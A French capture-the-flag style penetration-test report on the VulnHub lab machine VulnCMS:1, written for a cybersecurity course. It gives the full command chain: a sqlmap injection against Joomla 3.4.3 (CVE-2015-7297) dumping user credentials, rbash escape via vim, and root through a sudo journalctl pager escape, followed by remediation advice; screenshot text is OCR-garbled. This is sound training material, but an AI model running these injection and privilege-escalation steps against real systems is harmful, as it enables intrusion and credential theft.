RAPPORT DE CYBERSECURITE

VulnCMS :1 - Exploitation Joomla SQL Injection

Résumé exécutif

Ce rapport présente I'exploitation compléte de la machine VulnCMS :1 depuis
la reconnaissance initiale jusqu’a I'obtention d’'un accés root. L'attaque
exploite une vulnérabilité d’'injection SQL dans Joomla 3.4.3 suivie d’'une
escalade de priviléges via sudo journalctl.
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1 Introduction

1.1 Contexte

VulnCMS :1 est une machine virtuelle disponible sur VulnHub, congue pour pratiquer les
techniques de test d’intrusion dans un environnement Iégal et contrélé. Cette machine héberge
plusieurs CMS vulnérables.

1.2 Objectifs

— Identifier les services vulnérables exposés

— Exploiter une injection SQL dans Joomla 3.4.3
— Obtenir un acces utilisateur via SSH

— Elever les priviléges jusqu’a root

1.3 Informations sur la cible

4 N\
Nom : VuInCMS :1

Source : https://www.vulnhub.com/entry/vulncms-1,710/

IP Cible : 10.0.2.15

IP Attaquant : 10.0.2.5

Réseau : 10.0.2.0/24

Version Joomla : 3.4.3



https://www.vulnhub.com/entry/vulncms-1,710/
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2 Méthodologie

2.1 Phases de l'attaque

Le processus d’exploitation suit une méthodologie simplifiée :

Reconnaissance - Découverte de la cible avec arp-scan
Enumération - Scan des ports avec Nmap

Analyse - Scan de vulnérabilités Joomla avec joomscan
Exploitation - Injection SQL avec SQLMap

Acceés initial - Connexion SSH et échappement rbash
Pivot - Récupération des credentials tyrell

Elévation de privileges - Exploitation de sudo journalctl

© N o g bk~ 0w

Root - Récupération du flag

2.2 Outils utilisés

-

Reconnaissance : arp-scan, nmap
Enumération : joomscan
Exploitation : SQLMap

Acceés : SSH, vim

Escalade : sudo, journalctl
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3 Phase 1 : Reconnaissance

3.1 Screenshot 1 - Découverte de la cible avec arp-scan

3.1.1 Commande

sudo arp-scan -1

Explication :

— sudo : Exécution avec privileges root

— arp-scan : Outil de découverte réseau via protocole ARP
— -1: Scan du réseau local automatiquement détecté

[sudo] password for kali:
Interfa eth®, type: EN1OMB, MAC: 08:00:27: :f8:5d, IPv4: 10.0.2.5
WARNING: Cannot open MAC ndor file ieee-oui. Permission denied
WARNING: Cannot open M ndor file mac-vendor.txt: on denied
Starting arp-scan 1.10 th 256 hosts (https github.com, yhills/arp-scan)
0.2.1 52: . (Unknown: locally administered)
00 (Unknown: locally administered)
(Unknown )
(Unknown)

4 packets received by filter, @ packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.845 seconds (138.75 hosts/sec). 4 responded

Figure 1 — Découverte de la cible avec arp-scan - IP cible : 10.0.2.15

Résultat obtenu :

Cible identifiée : 10.0.2.15
Interface : ethO
Réseau : 10.0.2.0/24
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4 Phase 2 : Enumération

4.1 Screenshot 2 - Scan Nmap complet

4.1.1 Commande

nmap -sC -sV -p- -A 10.0.2.15

Options expliquées :

— -sC : Scripts par défaut NSE

— -sV : Détection de versions des services
— -p-: Scan de tous les ports (1-65535)
— -A : Détection OS, traceroute, scripts

10.0.2.15
nap.org ) at 2025-12-16 14:15 EST
y.web (10.0.2.15)

Not shown: 65530 closed tcp ports (reset)
STATE SERVICE VERSION
open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu@®.5 (Ubuntu Linux; protocol 2.0)

fe:d@ (RSA)
d:45 (ECDSA)

fa:c9:eb :d2:b7: :b6: 08 (ED25519)
8 open h
_http-title: w3
http-server-header: ngi .14.8 (Ubuntu)
5000/tcp op http i 1.14.0 (Ubuntu)
_http-server-header: /1.14.8 (Ubuntu)
11; Just another WordPress site

4 : WordPre -
8 cp open http ginx 1.14.0 (Ubuntu)
http-robots.txt: isallowed entries
/joomla/administrator/ /administrator/ /bi

Figure 2 — Scan Nmap complet - Ports 22, 80, 8081 (Joomla), 9001 (Drupal)

Résultats clés :

Port 8081 : Joomla 3.4.3 (VULNERABLE)
Port 22 : OpenSSH (acceés futur)
Port 9001 : Drupal 7.54
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5 Phase 3 : Analyse Joomla

5.1 Screenshot 3 - Scan JoomScan

5.1.1 Commande

[
‘joomscan -u http://10.0.2.15:8081

Objectif : Identifier la version de Joomla et les vulnérabilités connues.

—=[
+—++—=[Version :

+—++—=—[Update Date : [

+—++——=[Authors :

--=[Code name :

@WOWASP_JoomScan , @rezesp , @Ali_Razmjo® , @OWASP

Figure 3 — Scan JoomScan - Joomla 3.4.3 vulnérable a SQL injection

Informations récupérées :

— Version Joomla : 3.4.3 (vulnérable a SQL injection)
— Composant com_contenthistory exposé

— Panneau d’administration accessible
Vulnérabilité identifiée :

Joomla 3.4.3 - SQL Injection
CVE : CVE-2015-7297
Composant : com_contenthistory
Parametre : list[select]

Sévérité : CRITIQUE
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6 Phase 4 : Exploitation SQL Injection

6.1 Screenshot 4 - SQLMap extraction complete

6.1.1 Commande

[
‘sqlmap -u 'http://10.0.2.15:8081/index.phpToption=com_contenthistory&view=history&
‘ item_id=1&type_id=1&list[select]=*' --tamper=apostrophemask --technique=E -D

\ joomla_db -T hs23w_users --dump --batch

Options expliquées :

— --tamper=apostrophemask : Contournement de filtres
— --technique=E : Injection basée sur les erreurs

— -D joomla_db : Base de données cible

— -T hs23w_users : Table des utilisateurs

— -—-dump : Extraction des données

— --batch : Mode automatique

1

joomla_db hs23w_users

!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is ill
gal. It is the end user’'s responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this
program

*] starting @ 14:22:31

10 ] loading tamper module ° emask
ustom injection marker ('*') found in option '. Do you want to process it? [Y/n/q] Y
1 [WARNING] it seems that you've provided empty parameter value(s) for testing. Please
always use only valid parameter values so sqlmap could be able to run properly
110 ] resuming back-end DBMS ‘m "
] [INFO] testing connection to the target URL
] [WARNING] there is a DBMS error found in the HTTP response body which could interfer
with the results of the tests
ou have not declared cookie(s), while server wants to set its own ('a5845a875e8923f18089c05b8a
Hc2b9c=9sdk1334u4r ... nrkjhfnlf3'). Do you want to use those [Y/n] Y
qlmap resumed the following injection point(s) from stored session:

Figure 4 — SQLMap - Détection de I'injection SQL et extraction de la base de données
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name otpKey params
block password
username sendEmail activation resetCou
lastResetTime lastvisitDate

id otep email

ht registerDate requireReset

<blank>
0 $2y$10$EYC6SKFMLZLL
y7WTBF1bbgRrnpht1K@M1bLrwee joomlaCMS_admin 1 0
10 24 Q 0000-00-00 00:00:00 021-05-31 09:1 |
elliot <blank {"admin_style , "admin_lang

FluntenceS4@armyspy.com Super User <blank>

“*,"helpsite”:"","timezone™: " "} $2y$10$iddnEQpjrilix

gqbi4Syy elliot 0 <blank> 4]
0000-00-00 00:00:00 0000-00-00 00:00:00

/) A s

IG] HTTP error codes detected during run:

po@ (Internal Server Error) - 1 times

11 ] fetched data logged to text files under
}/10.0.2.15

] [WARNING] your sqglmap version is outdated

Figure 5 — SQLMap - Résultats : elliot : 5T3e!_\MOun7i@N

Credentials extraits :

Username : elliot
Password : 5T3e!_\MOun7i@N
Email : elliot@fsociety.web

Note importante : SQLMap a automatiquement cracké le hash bcrypt en utilisant un dic-
tionnaire intégré pour obtenir le mot de passe en clair.
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7 Phase 5 : Acces Initial SSH

7.1 Screenshot 5 - Connexion SSH et échappement rbash

7.1.1 Etape 1: Connexion SSH

ssh e11i0t@10.0.2.15
# Password: 5T3e!_\MOun7i@N

7.1.2 Etape 2 : Echappement du shell restreint

Une fois connecté, le systéme utilise rbash (restricted bash). Pour I'échapper :

vim

Dans vim, taper en mode commande :

:set shell=/bin/bash
:shell

elliot@l0.0
1liot@10.0.2.15" ord:
Nelcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-213-generic x86_64)

* Documentation: https help.ubuntu.com
* Management: htt landscape.canonical.com
* Support: https uDuntu.comfadvantage

System information as of Tue Dec 16 19:29:46 UTC 2025
ad: .06 Processes:

¢ of 8.76GB Users logged in:
IP address for enp@s3:

Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s

just raised the bar for easy, resilient and secure K8s cluster deployment.
fubuntu.com/engage/secure-kubernetes-at-the-edge

Canonical Livepatch is available for installation.

- Reduce stem reboots and improve kernel security. Activate at:
https: buntu.com/livepatch

Figure 6 — Connexion SSH elliot et échappement du shell restreint rbash via vim

Vérification :

[

'whoami # elliot

'echo $SHELL # /bin/bash
‘cd /tmp # Fonctionne !

L

10
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8 Phase 6 : Pivot vers l'utilisateur tyrell

8.1 Screenshot 6 - Découverte du fichier tyrell.pass

8.1.1 Commande

cat /var/www/html/drupal/misc/tyrell.pass

Contexte : Ce fichier contient les credentials en clair de I'utilisateur tyrell.

elliotavuln_cms:/$ cat /var/ww/html/drupal/misc/tyrell.pass

Figure 7 — Découverte du fichier tyrell.pass - Credentials : tyrell :mR_RObo7_15 R3@!_

Credentials tyrell :

Username : tyrell
Password : mMR_RO0bo7_15 R3@! _
Fichier : /var/www/html/drupal/misc/tyrell.pass

11
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9 Phase 7 : Elévation de Privileges

9.1 Screenshot 7 - Connexion SSH tyrell et vérification sudo

9.1.1 Etape 1: Connexion SSH en tant que tyrell

Ouvrir un nouveau terminal :

ssh tyrell@10.0.2.15
# Password: mR_RObo7_15_R3@! _

9.1.2 Etape 2 : Vérification des priviléeges sudo

sudo -1

elliot@vuln_cm ssh tyrell@10.0.2.15

The authentici of host '10.0 15 (10.0.2.15)" can't be established.

ECDSA key fingerprint is SHA256:hlaOta4T@KpyD 4 j2G40Skfr23vwkKMUDOBS.
Are you sure you want to continue connecting (

Warning: Permanently added '10.0.2.15" (ECDSA) to

tyrell@l10.0.2.15's password:

Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-213-generic x86_64)

* Documentation:

* Management: tt andscape.canonical.com

* Support: tt buntu.com/advantage
System information as of Tue Dec 16 19:51:49 UTC 2025
System load: 0.14 "0CeSSes: 139

|
for enp@s3: 10.0.2.15

Strictly confined Kubernetes makes edge and IoT secure. Learn how MicrokK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.

http ubuntu.com/engage/secure-kubernetes-at-the-edge

Canonical Livepatch is available for installation.

— Rod cye hnntes A 0 <

Figure 8 — Connexion SSH tyrell et vérification sudo -I : accés a journalctl en root

Vulnérabilité identifiée :

Configuration sudo dangereuse
L'utilisateur tyrell peut exécuter journalctl en tant que root
sans mot de passe. Le pager (less) permet I'échappement shell!

Note importante : Le chemin exact de journalctl peut varier. Utiliser le chemin affiché par
sudo -1.

12
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10 Phase 8 : Obtention du Root

10.1 Screenshot 8 - Exploitation journalctl et acceés root
10.1.1 Etape 1 : Exécution de journalctl en sudo

Utiliser le chemin exact retourné par sudo -1:

sudo /bin/journalctl
# ou sudo /usr/bin/journalctl selon votre systéme

10.1.2 Etape 2 : Echappement vers un shell root

Une fois dans journalctl (pager less), taper :

' !/bin/bash

10.1.3 Etape 3 : Vérification et récupération du flag

‘whoami # root
‘id # uid=0(root)
‘cd /root

‘cat root.txt

L

rootavuln_cms:~# whoami
root
rootavuln_cms:~# 1s
rootavuln_cms:~# 1s -la
total 24
4 tyrell root 4096 Jun -
root root L May =
tyrell tyrell .bash_history
2 tyrell tyrell ¢ L .cache
tyrell tyrell 4096 .gnupg
root root 36 .lesshst
-rw-r—r— 1 tyrell tyrell 0 May .sudo_as_admin_successful
rootavuln_cms:~ -la /root

root 4096 May

root ¢ 0 8 .o

root .bash_history

root JE 8 .bashrc

root May 28 221 .local

root g .profile

root May 21 root.txt

root 4096 May 28 2021 .ssh
t/root.txt

4
24 T
1
1
3
1
1

2

Figure 9 — Exploitation de journalctl - Elévation vers root et récupération du flag

1 ACCES ROOT OBTENU

Priviléges root obtenus avec succes via I'exploitation
de la mauvaise configuration sudo journalctl

13
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11 Analyse des Vulnérabilités

11.1 Chaine d'exploitation complete

s N
Résumé du chemin d’attaque :

Découverte de la cible (arp-scan)

Identification de Joomla 3.4.3 sur port 8081 (nmap)
Scan de vulnérabilités Joomla (joomscan)
Exploitation SQL injection CVE-2015-7297 (sqlmap)
Crackage du hash bcrypt avec dictionnaire

Acceés SSH avec credentials elliot

Echappement du shell restreint rbash (vim)
Découverte du fichier tyrell.pass en clair

Pivot vers I'utilisateur tyrell

Exploitation de sudo journalctl

0O 00N Ok Db

- -

Elévation vers root via pager less

11.2 Vulnérabilités critiques identifiées

11.2.1 1. SQL Injection dans Joomla 3.4.3

Sévérité : CRITIQUE

Impact : Extraction compléte de la base de données
Composant : com_contenthistory

CVE : CVE-2015-7297 (affecte Joomla 3.2.x a 3.4.4)

11.2.2 2. Credentials stockés en clair

Sévérité : ELEVEE

Impact : Compromission de compte privilégié

Fichier : /var/www/html/drupal/misc/tyrell.pass

Probléme : Mot de passe en clair sur le systéme de fichiers

11.2.3 3. Mauvaise configuration sudo

Sévérité : CRITIQUE

Impact : Elévation de priviléges vers root

Configuration : tyrell ALL=(root) NOPASSWD : /bin/journalctl
Vecteur : Echappement via pager less

14
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11.2.4 4. Shell restreint insuffisant

Sévérité : MOYENNE
Impact : Contournement facile via vim
Probléme : rbash mal configuré, éditeurs non bloqués

15
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12 Recommandations de Sécurite

12.1 Corrections immédiates

12.1.1 1. Mise a jour de Joomla

-
Action : Mettre a jour Joomla vers la version 4.x ou 5.x

Priorité : CRITIQUE
Commande :

# Via l'interface d'administration Joomla
# Ou télécharger depuis https://downloads.joomla.org/

12.1.2 2. Suppression des fichiers de credentials

p
Action : Supprimer immédiatement tyrell.pass

Priorité : CRITIQUE
Commandes :

rm /var/www/html/drupal/misc/tyrell.pass
find / -name "*.pass" -type f 2>/dev/null
find / -name "*password*" -type f 2>/dev/null

12.1.3 3. Correction de la configuration sudo

-
Action : Restreindre ou supprimer I'acces sudo a journalctl

Priorité : CRITIQUE
Commandes :

# Editer la configuration sudo
visudo

# Supprimer la ligne dangereuse :
# tyrell ALL=(root) NOPASSWD: /bin/journalctl

# Si nécessaire, limiter strictement :
tyrell ALL=(root) /bin/journalctl --no-pager -n 50

12.1.4 4. Renforcement du shell restreint

p
Action : Configurer correctement rbash ou utiliser un chroot

Priorité : MOYENNE
Recommandations :
— Bloquer I'accés aux éditeurs (vim, nano, vi)
— Utiliser un environnement chroot/jail
— Limiter les commandes disponibles dans $PATH

16
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12.2 Recommandations stratégiques
12.2.1 Sécurité des applications web

— Mettre en place un processus de mise a jour régulier

— Utiliser un WAF (Web Application Firewall)

— Activer les logs d’audit détaillés

— Limiter I'exposition des interfaces d’administration

— Implémenter des requétes préparées (prepared statements)

12.2.2 Durcissement systéme

— Audit régulier de la configuration sudo

— Principe du moindre privilége strictement appliqué

— Ne jamais stocker de mots de passe en clair

— Surveillance des fichiers sensibles avec aide-fseek ou AIDE
— Configuration d’'un IDS/IPS (Snort, Suricata)

12.2.3 Gestion des accés

— Authentification forte (MFA)

— Rotation réguliére des mots de passe

— Désactivation des comptes inutilisés

— Journalisation centralisée des connexions
— Limitation des tentatives de connexion

17
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13 Timeline de I'Attaque

Vs

Durée totale estimée : 20-30 minutes

00
00
00
00
00
00
00
00

:00-00
:03-00
:08-00:
112 -00
:20 - 00
:23-00
:25-00
:27 - 00

:03:
:08 :

12

:20
:23
125
:27 .
:30 :

Reconnaissance avec arp-scan
Enumération compléte avec Nmap

: Scan Joomla avec joomscan
: Exploitation SQL injection avec SQLMap

Connexion SSH et échappement rbash
Découverte du fichier tyrell.pass

Pivot vers utilisateur tyrell

Elévation de priviléges vers root

18
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14 Conclusion

14.1 Résumeé de I'exploitation

Cette machine VulnCMS :1 démontre plusieurs vulnérabilités critiques couramment rencon-
trées en environnement réel :

— CMS obsoléte Joomla 3.4.3 avec vulnérabilité CVE-2015-7297

— Injection SQL permettant I'extraction de credentials

— Hash bcrypt faible cracké par dictionnaire

— Mauvaise gestion des secrets (fichiers en clair)

— Configuration sudo dangereuse permettant I'escalade

— Contréles de sécurité contournables (rbash insuffisant)

14.2 Compétences développées

Ce CTF permet de pratiquer :

— La méthodologie compléte de pentest

— Lutilisation d’outils standards (arp-scan, nmap, sglmap)
— Les techniques d’injection SQL avancées

— L’escalade de privileges Linux

— Le contournement de restrictions de sécurité

14.3 Lecons apprises

( N\
Points clés pour la défense :
— Maintenir tous les systémes a jour
— Ne JAMAIS stocker de credentials en clair
— Auditer réguliérement les configurations sudo
— Appliquer le principe du moindre privilege
— Implémenter une défense en profondeur
— Tester régulierement la sécurité des applications

Mission accomplie

Acceés root obtenu avec succés sur VulnCMS :1
via I'exploitation de Joomla SQL Injection

19



Rapport de Cybersécurité - VulnCMS :1 Ibrahim Kakaev

15 Annexes

15.1 Annexe A : Commandes compleétes récapitulatives

# === PHASE 1 : RECONNAISSANCE ===
sudo arp-scan -1

# === PHASE 2 : ENUMERATION ===
nmap -sC -sV -p- -A 10.0.2.15

# === PHASE 3 : SCAN JOOMLA ===
joomscan -u http://10.0.2.15:8081

# === PHASE 4 : SQL INJECTION ===

sqlmap -u 'http://10.0.2.15:8081/index.php?option=com_contenthistory&view=history&
item_id=1&type_id=1&list[select]=*' --tamper=apostrophemask --technique=E -D
joomla_db -T hs23w_users -—-dump --batch

# === PHASE 5 : ACCES SSH ELLIOT ===
ssh elliot@10.0.2.15
# Password: 5T3e!_\MOun7i@N

# Echappement rbash :

vim
:set shell=/bin/bash

:shell

# === PHASE 6 : PIVOT TYRELL ===

cat /var/www/html/drupal/misc/tyrell.pass
ssh tyrell@10.0.2.15
# Password: mR_RObo7_15_R3@!_

# === PHASE 7-8 : PRIVILEGE ESCALATION ===

sudo -1

sudo /bin/journalctl # Utiliser le chemin exact de sudo -1
!/bin/bash

# === ROOT ACCESS ===
whoami # root

cd /root

cat root.txt

15.2 Annexe B : Liste des screenshots

( N
Screenshot 1 (screen_1.png) : sudo arp-scan -

Screenshot 2 (screen_2.png) : nmap -sC -sV -p- -A 10.0.2.15

Screenshot 3 (screen_3.png) : joomscan -u http ://10.0.2.15 :8081

Screenshot 4 (screen_4.png) : sqlmap - détection injection

Screenshot 4.2 (screen_4_2.png) : sqimap - résultats credentials

Screenshot 5 (screen_5.png) : ssh elliot + échappement rbash via vim

Screenshot 6 (screen_6.png) : cat tyrell.pass

Screenshot 7 (screen_7.png) : ssh tyrell + sudo -

Screenshot 8 (screen_8.png) : sudo journalctl + root + flag
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15.3 Annexe C : Ressources et références

— VulnHub : https://www.vulnhub.com/entry/vulncms-1,710/

— GTFOBiIns (journalctl) : https://gtfobins.github.io/gtfobins/journalctl/

— Joomla Security : https://docs. joomla.org/Security

— SQLMap Documentation : https://sqlmap.org/

— OWASP Testing Guide : https://owasp.org/www-project-web-security-testing-guide/

15.4 Annexe D : Checklist de sécurité post-installation

s N
Checklist CMS :

Mise a jour vers la derniére version stable
Changement des credentials par défaut
Désactivation des comptes inutiles
Configuration du firewall (UFW/iptables)
Activation de HTTPS/SSL avec certificat valide
Restriction d’acces a I'interface admin par IP
Configuration des logs d’audit

Sauvegarde automatique configurée

Scan de vulnérabilités effectué

WAF configuré et actif

Requétes préparées pour toutes les queries SQL
Rate limiting activé
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Notes importantes

Vs

[ Avertissement légal

Ce rapport est fourni a des fins éducatives uniquement. Les techniques décrites ne
doivent étre utilisées que dans des environnements de test contrélés ou avec une au-
torisation écrite explicite.

L'utilisation de ces techniques sur des systémes sans autorisation est illégale et peut
entrainer des poursuites pénales.

L'auteur de ce rapport décline toute responsabilité en cas d’utilisation abusive des infor-
mations contenues dans ce document.

Rapport rédigé par

Ibrahim Kakaev
Décembre 2025

Dans le cadre d’une formation en cybersécurité
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